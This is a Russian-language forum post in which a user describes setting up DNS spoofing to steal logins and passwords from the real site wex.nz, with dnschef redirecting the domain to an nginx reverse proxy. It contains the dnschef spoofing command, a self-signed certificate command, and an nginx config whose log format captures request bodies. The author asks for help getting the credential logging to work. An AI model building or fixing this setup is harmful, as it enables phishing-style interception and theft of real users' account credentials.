H 
		
				
				
			
		holden_mathers
Привет. Учусь подменять DNS для перехвата логина и пароля. Возникла проблема.
Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.
Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf
	
	
	
	
		
Далее указал ln -s /etc/nginx/sites-available/proxy.conf /etc/nginx/sites-enabled/
Больше никаких настроек на nginx не производил.
Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
	
	
	
	
		
94.*.*.128 - IP-адрес 1-ой машины (dnschef)
82.*.*.19 - IP-адрес 2-ой машины (nginx)
Результат:
		
		
	
	
		
	
Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).
И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.
Возможно проблема с proxy.conf?
				
			Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.
Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf
		Код:
	
	log_format bodylog '$remote_addr - $remote_user [$time_local] '
  '"$request" $status $body_bytes_sent '
  '"$http_referer" "$http_user_agent" $request_time '
  '<"$request_body"';
server {
listen 80;
listen 443 ssl;
ssl_certificate /etc/nginx/ssl.crt;
ssl_certificate_key /etc/nginx/ssl.key;
access_log /var/log/nginx/lc.log bodylog;
server_name wex.nz;
resolver 8.8.8.8;
location / {
  proxy_set_header Host $host;
  proxy_pass https://$host$request_uri;
}
}
	Больше никаких настроек на nginx не производил.
Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
		Код:
	
	python dnschef.py  -i 94.*.*.128 --fakedomains=wex.nz --fakeip=82.*.*.19
	82.*.*.19 - IP-адрес 2-ой машины (nginx)
Результат:
Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).
И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.
Возможно проблема с proxy.conf?
			
				Последнее редактирование модератором: